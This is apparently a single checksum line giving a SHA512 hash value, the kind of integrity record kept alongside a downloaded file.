SHA512c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376